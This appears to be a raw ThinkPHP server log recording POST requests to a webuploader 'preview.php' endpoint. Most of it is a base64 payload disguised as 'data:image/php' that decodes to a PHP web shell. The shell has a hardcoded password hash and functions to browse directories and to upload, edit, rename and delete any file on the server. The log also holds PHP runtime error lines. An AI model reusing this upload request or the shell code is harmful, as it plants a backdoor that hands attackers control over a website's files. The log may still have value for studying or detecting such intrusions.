pcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:45+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/admin/webuploader/0.1.5/server/preview.php [运行时间:0.002679s] [吞吐率:373.29req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNC